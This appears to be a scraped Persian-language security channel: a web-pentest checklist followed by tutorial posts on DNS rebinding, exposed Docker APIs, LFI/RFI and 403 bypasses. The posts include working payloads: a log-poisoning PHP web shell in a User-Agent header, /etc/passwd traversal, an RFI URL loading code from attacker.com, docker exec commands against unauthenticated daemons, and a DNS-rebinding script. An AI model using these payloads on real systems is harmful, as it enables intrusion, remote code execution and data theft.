Methodology
Reverse Proxy Testing
Cloud-Specific Testing
Web Server Testing
Domain Name System (DNS) Testing
Global Application Config Testing
Server-Side Codebase Testing
Database Operation Testing
External Identity Access Management (IAM) Testing
Public Repository & OSINT Testing
#Methodology
Reverse Proxy Testing
Abusing Hop Headers
Web Cache Poisoning
Web Cache Deception
HTTP Request Smuggling
H2C Smuggling
XSLT Server-Side Injection
Edge Side Inclusion (ESI) Injection
Host Header Poisoning
IP Address Spoofing
Cloud-Specific Testing
AWS S3 Bucket Misconfiguration
AWS CloudFront Misconfiguration
AWS IAM/STS Misconfiguration
AWS Elastic Beanstalk Misconfiguration
AWS API Gateway Misconfiguration
AWS Cognito Misconfiguration
AWS Exposed Sensitive DocumentDB
AWS EC2 Misconfiguration
AWS SNS Misconfiguration
AWS RDS Misconfiguration
Web Server Testing
Common Vulnerabilities and Exposures (CVE's)
Exposed Configuration Files
Server Side Includes (SSI) Injection
Information Disclosure
Domain Name System (DNS) Testing
DNS Rebinding
Subdomain Takeover
Global Application Config Testing
Content Security Policy (CSP)Client-Side Codebase Testing
Cross-Origin Resource Sharing (CORS)
Dependency Confusion / Abuse
JSON Web Token (JWT) Misconfiguration
Missing Security Headers
Content Injection
Reflected Cross-Site Scription (XSS)
Stored Cross-Site Scripting (XSS)
Blind Cross-Site Scripting (XSS)
Dangling Markup
Client-Side JavaScript Injection
Client-Side Prototype Pollution (CSPP)
DOM-Based Cross-Site Scription (XSS)
DOM-Based Open Redirect
Client-Side Template Injection (CSTI)
PostMessage Vulnerabilities
Information Disclosure
Privileged Credentials Exposed
Insecure Data Storage
Client-Side Denial of Service (DoS) / Breaking The DOM
Server-Side Codebase Testing
Command Injection
Code Injection
Insecure Deserialization
LDAP Injection
Server-Side Request Forgery (SSRF)
File Inclusion / Path Traversal
XPATH Injection
Unrestricted File Upload
Web Shell via File Upload
Server-Side Template Injection (SSTI)
Server-Side Prototype Pollution (SSPP)
XML External Entity (XXE)
WebSocket Injection
Database Operation Testing
SQL Injection
NoSQL Injection
GraphQL Injection
Denial of Service (DoS)
Information Disclosure
External Identity Access Management (IAM) Testing
OAuth MisconfigurationApplication Logic Testing
Security Assertion Markup Language (SAML) Misconfiguration
Google Firebase IAM Misconfiguration
Keycloak IAM Misconfiguration
Indirect Object Reference (IDOR)
Insufficient Access Controls
Bypass Access Controls
2FA/MFA Bypass
Captcha Bypass
Rate Limiting / Brute-force Protection Bypass
Bypass Registration Restrictions
Bypass Payment Process Restrictions
Bypass Authentication Restrictions
Bypass Password Reset Restrictions
Race Conditions
Username Enumeration
Public Repository & OSINT Testing
Internal Source Code on Public Repository
Internal/Privileged Credentials on Public GitHub Repository
Internal Source Code Found in Web Scraping
Internal/Privileged Credentials Found in Web Scraping
#Methodology
امنیت اپلیکیشن قسمت سوم =
نمونه کد زیر رو در نظر بگیرین:
بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
❓آیا ممکنه environment variable های سامانه افشا بشه؟
بله. به غیر از آسیب پذیری هایی مثل RCE و Command injection، آسیب پذیری دیگه ای هم وجود داره که میتونه منجر به افشای environment variable های سامانه بشه که در آینده بهش اشاره میکنیم. اما احتمال وجود این آسیب پذیری از stack trace error و افشای source code خیلی کمتره پس این روش امنیت بیشتری از روش سنتی داره.
#application_security
نمونه کد زیر رو در نظر بگیرین:
<?php
$servername = "localhost";
$username = "root";
$password = "pa@@w0rd";
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed"); mysqli_connect_error());
}
echo "Connected successfully";
?>
بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
<?php
$servername = "localhost";
$username = "root";
$password = getenv('DB_PASSWORD');
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Database connection failed.");
}
echo "Connected successfully";
mysqli_close($conn);
?>
در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
❓آیا ممکنه environment variable های سامانه افشا بشه؟
#application_security
👍2
آسیب پذیری DNS Rebinding =
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗مراحل DNS rebinding برای بایپس SSRF :
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
#DNS_Rebinding
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده میشه.
2. هر DNS response که دریافت میکنیم یک TTL داره که بر حسب ثانیه کار میکنه و مقدار زمانی که داخلش تعریف شده تو سیستم ما cache میشه. مثلا اگه سایت google.com رو باز کنیم و TTL 100 رو داشته باشه، IP این سایت که تو فرایند name resolution به دست اومده تا 100 ثانیه تو سیستم ما ذخیره میشه.
3. مفهوم Same Origin Policy و SSRF رو تو پست های قبلی توضیح دادم که پیشنهاد میکنم مرورشون کنین.
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
1. استفاده از blacklist IP ها، یعنی لیستی از آیپی های داخلی رو به عنوان blacklist تعریف کنیم.اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
2. اول روی ورودی کاربر DNS resolution انجام بدیم و روی آیپی آن blacklist check رو انجام بدیم. برای مثال هکر یه دامنه بالا میاره به اسم dns.attacker.com که به آیپی 127.0.0.1 اشاره میکنه. با این روش جلوش گرفته میشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗مراحل DNS rebinding برای بایپس SSRF :
1. هکر یه دامنه بالا میاره به اسم attacker.com که به 2 تا آیپی resolve میشه، اولی آیپی سرور خودش و دومی آیپی لوکالی که قصد داره بهش درخواست بزنه. TTL رو هم خیلی کم ست میکنه.
2. به عنوان ورودی attacker.com رو به تارگت میده و تابع میاد بررسی میکنه میبینه که آیپیش local نیست و ازش عبور میکنه.
3. قبل از اینکه کد برنامه برسه به جایی که درخواست HTTP رو ارسال میکنه، زمان cache یا همون TTL بخاطر پایین بودن تموم میشه و تابعی که آسیب پذیره به SSRF مجبور میشه درخواست name resolution ارسال کنه برای attacker.com تا آیپی رو به دست بیاره و این دفعه attacker.com به یه آیپی local اشاره میکنه.
4. درخواست HTTP به آیپی local ارسال میشه.
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
https://lock.cmpxchg8b.com/rebinder.html
#DNS_Rebinding
❤1
2️⃣ استفاده از DNS Rebinding برای بایپس SOP :
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗فلوی بایپس SOP با DNS Rebinding :
کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
❗چند تا نکته مهم :
#DNS_Rebinding
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗فلوی بایپس SOP با DNS Rebinding :
1. هکر دامنه attacker.com رو بالا میاره که همچنان دوتا IP داره یکی به سرور هکر اشاره میکنه که داخلش کدهای مخرب JavaScript قرار داره و یکی هم به IP داخلی ای اشاره میکنه که قربانی روی اون آیپی تو شبکه داخلیش یه web application داره. و همچنین TTL هم کم در نظر گرفته میشه.
2. هکر آدرس دامنه رو به قربانی میده و بعد از name resolution قربانی برای آیپی سرور مخرب درخواست ارسال میکنه و کدهای JavaScript روی مرورگرش لود میشه.
function attemptRequest() {
const xhr = new XMLHttpRequest();
xhr.open('GET', `http://attacker.com/sensitive_information_path`, true);
xhr.onload = function () {
console.log('Response:', xhr.responseText);
};
xhr.onerror = function () {
console.log('Request failed');
};
xhr.send();
}
setTimeout(attemptRequest, 5000);کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
sensitive_information_path به 192.168.1.20 ارسال میکنه که حاوی اطلاعات حیاتی این سرویس هست و هکر میتونه این اطلاعات رو با XHR برای سرور خودش ارسال کنه. اگه DNS rebinding با موفقیت انجام بشه دیگه cross origin نیستیم و same origin هستیم.❗چند تا نکته مهم :
1. هکر میدونست چه سرویسی روی شبکه داخلی قربانی نصب هست. و بخاطر همین میدونست endpoint حساسش چیه.⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
2. باید دامنه هکر رو دقیقا به همون آیپی که روی آن web application نصب شده resolve کنیم.
3. اگه وب اپلیکیشن داخلی روی پورت خاصی هست، ماهم باید به اون پورت درخواست ارسال کنیم.
1. وقتی authentication نیاز باشه.
2. وقتی روی 192.168.1.20 SSL/TLS وجود داشته باشه.(بخاطر مچ نشدن certificate جلوی حمله گرفته میشه)
#DNS_Rebinding
Docker Exploit =
داکر deamon یه سرویس برای مدیریت image و container های داکر هست.
برای برقراری ارتباط با docker deamon میتونیم از docker api استفاده کنیم که روی پورت 2376/2375 کار میکنه.
پس اگه این API فعال باشه و هیچ authenticationی نداشته باشه میتونیم ازش دسترسی بگیریم.
دورک shodan برای پیدا کردن docker API ها:
با دستور زیر بهش وصل میشیم و لیست container هارو به دست میاریم:
با دستور exec -I میتونیم روی container مدنظر دستورهای خودمون رو اجرا کنیم (در صورتی که container فعال باشه و پسورد نداشته باشه):
در نهایت دسترسی command execution خواهیم داشت!
#docker
داکر deamon یه سرویس برای مدیریت image و container های داکر هست.
برای برقراری ارتباط با docker deamon میتونیم از docker api استفاده کنیم که روی پورت 2376/2375 کار میکنه.
پس اگه این API فعال باشه و هیچ authenticationی نداشته باشه میتونیم ازش دسترسی بگیریم.
دورک shodan برای پیدا کردن docker API ها:
product:"docker" port:"2375"
با دستور زیر بهش وصل میشیم و لیست container هارو به دست میاریم:
docker -H 127.0.0.1:2375 ps -a
با دستور exec -I میتونیم روی container مدنظر دستورهای خودمون رو اجرا کنیم (در صورتی که container فعال باشه و پسورد نداشته باشه):
docker -H 127.0.0.1:2375 exec -i [CONTAINER-ID] [COMMAND]
در نهایت دسترسی command execution خواهیم داشت!
#docker
🔥3
API Fuzzing Tips =
معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت
/API/v3/action
یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه.
اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین:
/API/v1.0/action
/API/v2.0/action
#API_fuzzing
معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت
/API/v3/action
یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه.
اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین:
/API/v1.0/action
/API/v2.0/action
#API_fuzzing
1⃣ آسیب پذیری LFI =
وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد.
2⃣ آسیب پذیری path/Directory traversal =
مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه.
3⃣ پس LFI همون path/Directory traversal هست❓
در صورتی که خیلی از منابع معتبر این دوتا رو یکی میدونن، این دوتا آسیب پذیری های متفاوتی هستند. در path/Directory traversal فقط میتونیم بین فایل ها و دایرکتوری های مختلف حرکت کنیم. اما در LFI علاوه بر مورد قبلی، تابع آسیب پذیر قابلیت اجرایی دارد. فرضا اگر فایلی حاوی تکه کد مخرب که با زبان برنامه نویسی سمت backend نوشته شده به عنوان ورودی به تابع آسیب پذیر داده شود اون کد اجرا خواهد شد. به این تکنیک تو LFI میگن log poisoning.
وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد.
2⃣ آسیب پذیری path/Directory traversal =
مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه.
3⃣ پس LFI همون path/Directory traversal هست❓
4⃣ توضیح کامل آسیب پذیری LFI =
شبه کد آسیب پذیر با PHP به LFI 👇
وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
5⃣ استفاده از Wrapper ها =
در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
خروجی به صورت base64 هست و باید decode بشه.
6⃣ تبدیل LFI به RCE =
روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU
1⃣⏺6⃣ تکنیک Log Poisoning :
بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.
7⃣ آسیب پذیری RFI =
تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.
1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓
خیر. علاوه بر فراخوانی به صورت remote باید تابع آسیب پذیر قابلیت اجرایی داشته باشه تا بتونیم کد سمت backend اجرا کنیم (همون خاصیت LFI) . در غیر این صورت فقط میتونیم یک فایل JS. به صورت remote لود کنیم و به XSS برسیم.
#LFI
#RFI
#Path_traversal
#Directory_traversal
شبه کد آسیب پذیر با PHP به LFI 👇
include($_GET['file']);
وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
http://target.com/index.php?file=news.php
در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
http://target.com/index.php?file=../../../../../../../etc/passwd
5⃣ استفاده از Wrapper ها =
در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
php://filter/convert.base64-encode/Resource=index.php
خروجی به صورت base64 هست و باید decode بشه.
6⃣ تبدیل LFI به RCE =
روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU
1⃣⏺6⃣ تکنیک Log Poisoning :
بعد از پیدا کردن LFI، باید دنبال یک فایلی در سرور باشیم که دیتایی از سمت کاربر ذخیره میشه داخلش. باید دسترسی خوندن اون فایل رو داشته باشیم. میتونیم موارد زیر رو بررسی کنیم :
1) Apache/Nginx Log file
2) FTP Log file
3) SSH Log file
4) SMTP Log file
5) SFTP Log file
مثلا تو log file های مربوط به وب سرور خیلی وقتا user-agent هم لاگ میشه.(قبلش باید فایل Log رو با LFI بخونیم و مطمئن بشیم از این مورد). تنها کاری که باید انجام بدیم inject کردن پیلود مخرب به عنوان user agent هست.
GET /test HTTP/1.1
..
..
..
User-Agent: <?php system($_GET['cmd']) ?>
و این اطلاعات در لاگ فایل مربوط به Apache ذخیره میشه. حالا باید از طریق LFI اون فایل رو فراخوانی کنیم و پارامتر cmd رو مقدار دهی کنیم.
http://target.com/index.php?file=../../../../../var/apache2/access.log&cmd=whoami
و RCE گرفته میشه.
برای مابقی سرویس هاهم Log poisoning به این صورت انجام میشه با این تفاوت که اونجا user agent نداریم و چیز دیگه ای از کاربر Log میشه مثل یوزرنیم.
7⃣ آسیب پذیری RFI =
تو آسیب پذیری LFI همه فایل هایی که فراخوانی میکردیم Local بودن. تو آسیب پذیری RFI فایل های Remote هم فراخوانی میکنیم. فرضا یک فایل در سرور خودمون قرار میدیم با اکستنشن txt. و به عنوان ورودی به تارگت میدیم.
http://target.com/index.php.php?file=http://attacker.com/RFI.txt
اما حالت پیشفرض این آسیب پذیری وجود نداره حتی اگه LFI وجود داشته باشه، باید کانفیگ های مربوط به دو مورد زیر به صورت دستی توسط برنامه نویس تغییر داده بشه تا قابلیت فراخوانی فایل به صورت remote فعال بشه.
allow_url_include
allow_url_fopen
وقتی آسیب پذیری RFI داریم قطعا LFI هم داریم. اما وقتی LFI هست تا وقتی دو تابع بالا فعال نباشن آسیب پذیری RFI وجود نخواهد داشت.
1⃣⏺7⃣ آیا اگر بتونیم یک فایل remote روی وب سایت لود کنیم RFI داریم همیشه❓
#LFI
#RFI
#Path_traversal
#Directory_traversal
❤2
403 Bypass Tips =
یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :
حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید.
#bypass_waf
یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت :
X-Forwarded-For: 127.0.0.1
حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای این موضوع استفاده کنید.
#bypass_waf
👍19
Alireza
403 Bypass Tips = یکی از معمول ترین روش ها استفاده از IP Spoofing هست به این صورت : X-Forwarded-For: 127.0.0.1 حتی اگر بتونیم IP Spoofing انجام بدیم ممکنه 127.0.0.1 authorize نباشه، اما Public IPهای شرکت authorize باشن. پس حتما از IP های خود شرکت هم برای…
اگه تارگت شما اینجا هست میتونین از IP هایی که معرفی کرده برای بایپس استفاده کنین، برای خودم چند نمونه بوده که با این ریپو تونستم بایپس کنم.
GitHub
ip-blacklist-collection/noname057/archive/previous-2024-07-09_07-05-04.json at 23ae4e4f340fd44533b42d9ea2f79e53e56ff3b7 · kawaiipantsu/ip…
These are automated updated IP address blacklist/whitelist you can use to fetch and parse and put in your firewall, waf, null-routing, sinkhole or what ever you choose. The blacklists are not neces...
🔥10❤1
https://www.linkedin.com/posts/apa-sharif_%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-dependency-confusion-%DB%8C%DA%A9%DB%8C-%D8%A7%D8%B2-activity-7305228835472510977-D0Rh/?utm_source=share&utm_medium=member_android&rcm=ACoAAEjwrLkBPVC7_jdwsdv8l6dfM5yoGRUEMm8
#dependency_confusion
#dependency_confusion
Linkedin
آسیب پذیری Dependency confusion =
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که…
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که…
آسیب پذیری Dependency confusion =
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که هکر میتونه باهاش به دسترسی command execution برسه.
⁉️منظور از dependency تو این آسیب پذیری چیه⁉️
در هر زبان برنامه نویسی برای…
یکی از آسیب پذیری هایی که هنگام توسعه اپلیکیشن ممکنه به وجود بیاد dependency confusion هست که هکر میتونه باهاش به دسترسی command execution برسه.
⁉️منظور از dependency تو این آسیب پذیری چیه⁉️
در هر زبان برنامه نویسی برای…
👍9👎2
اگه میخواین با استفاده از google dork بتونین subdomain enumeration انجام بدین به صورت ابزاری، یه الگوریتم پیشنهادی دارم براتون.
اول اینکه میدونیم به صورت دستی چطور باید اینکارو انجام بدیم :
site:*.microsoft.com -www
و -www هم یعنی دیگه نشونش نده.
حالا باید ببینین چند تب دیتا از تارگت شما تو گوگل هست.
https://www.google.com/search?q=-www+site%3A*.microsoft.com&start=394
متغیر start رو باید روی بیشترین عددی که ساب دامنه میده بهتون تنظیم کنین.
از صفحه ی اول که startاش با 1 شروع میشه شروع میکنین به بیرون کشیدن ساب دامنه ها طبق این الگو :
1. همه ی تگ های a رو بیرون میکشین از سورس کد.
2. همه ی href هارو از تگ های a بیرون میکشین.
3. اون مقدار هایی که شروعشون با http:// یا https:// نیست رو اسکیپ میکنین.
4. یه سری آدرس هارو ازش جدا میکنین که همیشه ثابتن مثل اینا
https://www.google.com
https://accounts.google.com
5. هرچی باقی مونده میشه ساب دامنه و باید ذخیره بشن داخل 2 تا فایل subdomains.txt و words.txt
6. فایل words.txt رو که حاوی اطلاعاتی مثل اینه :
https://test.microsoft.com/path
با یک تابع به test تبدیل میکنیم که فقط ساب دامنه رو داشته باشیم بدون دامنه و پروتکل و مسیر.
7. یه حلقه روی words.txt زده میشه و به هر ساب دامنه یدونه -+ اضافه میشه که نتیجه به صورت بشه :
+-test+-web+-dev
8. حالا متغیر start باید 2 بشه و کنارش از مقدار های بالا استفاده میکنیم که دیگه این ساب دامنه هارو بهمون نشون نده.
https://www.google.com/search?q=-www+site%3A*.microsoft.com+-test+-web+-dev&start=2
9. از مرحله 1 همه چی رو تکرار میکنیم.
نکته : وقتی تعداد ساب دامنه های words.txt به 32 عدد رسید دیگه بهش چیزی اضافه نمیکنیم. چراکه گوگل اجازه نمیده بیشتر از 32 تا ساب دامنه رو فیلتر کنیم. پس با همون فیلتر 32 جلو میریم و هر موقع تو صفحه خروج ای نبود یعنی همه ی ساب دامنه هارو به دست آوردیم. متغیر start احتمال 99 درصد به 394 نمیرسه چون از فیلتر استفاده کردیم.
10. باید subdomains.txt رو sort کنین و مسیر ها و اطلاعات اضافه رو پاک کنین ازش.
ابزاری که خودم برای اینکار نوشتم به عنوان یه ماژول داخل یه پروژه نسبتا بزرگه که وابستگی زیادی بهش داره و نمیتونم به صورت جداگانه سورسشو براتون بزارم.
اگه کسی کدشو نوشت بهم بگه تو کانالم بزارم بقیه هم استفاده کنن.
#google_dork
اول اینکه میدونیم به صورت دستی چطور باید اینکارو انجام بدیم :
site:*.microsoft.com -www
و -www هم یعنی دیگه نشونش نده.
حالا باید ببینین چند تب دیتا از تارگت شما تو گوگل هست.
https://www.google.com/search?q=-www+site%3A*.microsoft.com&start=394
متغیر start رو باید روی بیشترین عددی که ساب دامنه میده بهتون تنظیم کنین.
از صفحه ی اول که startاش با 1 شروع میشه شروع میکنین به بیرون کشیدن ساب دامنه ها طبق این الگو :
1. همه ی تگ های a رو بیرون میکشین از سورس کد.
2. همه ی href هارو از تگ های a بیرون میکشین.
3. اون مقدار هایی که شروعشون با http:// یا https:// نیست رو اسکیپ میکنین.
4. یه سری آدرس هارو ازش جدا میکنین که همیشه ثابتن مثل اینا
https://www.google.com
https://accounts.google.com
5. هرچی باقی مونده میشه ساب دامنه و باید ذخیره بشن داخل 2 تا فایل subdomains.txt و words.txt
6. فایل words.txt رو که حاوی اطلاعاتی مثل اینه :
https://test.microsoft.com/path
با یک تابع به test تبدیل میکنیم که فقط ساب دامنه رو داشته باشیم بدون دامنه و پروتکل و مسیر.
7. یه حلقه روی words.txt زده میشه و به هر ساب دامنه یدونه -+ اضافه میشه که نتیجه به صورت بشه :
+-test+-web+-dev
8. حالا متغیر start باید 2 بشه و کنارش از مقدار های بالا استفاده میکنیم که دیگه این ساب دامنه هارو بهمون نشون نده.
https://www.google.com/search?q=-www+site%3A*.microsoft.com+-test+-web+-dev&start=2
9. از مرحله 1 همه چی رو تکرار میکنیم.
نکته : وقتی تعداد ساب دامنه های words.txt به 32 عدد رسید دیگه بهش چیزی اضافه نمیکنیم. چراکه گوگل اجازه نمیده بیشتر از 32 تا ساب دامنه رو فیلتر کنیم. پس با همون فیلتر 32 جلو میریم و هر موقع تو صفحه خروج ای نبود یعنی همه ی ساب دامنه هارو به دست آوردیم. متغیر start احتمال 99 درصد به 394 نمیرسه چون از فیلتر استفاده کردیم.
10. باید subdomains.txt رو sort کنین و مسیر ها و اطلاعات اضافه رو پاک کنین ازش.
ابزاری که خودم برای اینکار نوشتم به عنوان یه ماژول داخل یه پروژه نسبتا بزرگه که وابستگی زیادی بهش داره و نمیتونم به صورت جداگانه سورسشو براتون بزارم.
اگه کسی کدشو نوشت بهم بگه تو کانالم بزارم بقیه هم استفاده کنن.
#google_dork
Google
🔎 -www site:*.microsoft.com -test -web -dev – Google Search
👍14❤5🔥1
External information Gathering =
طبق این mind map میتونیم External Information Gathering رو انجام بدیم.
اهداف :
معرفی تکنیک ها :
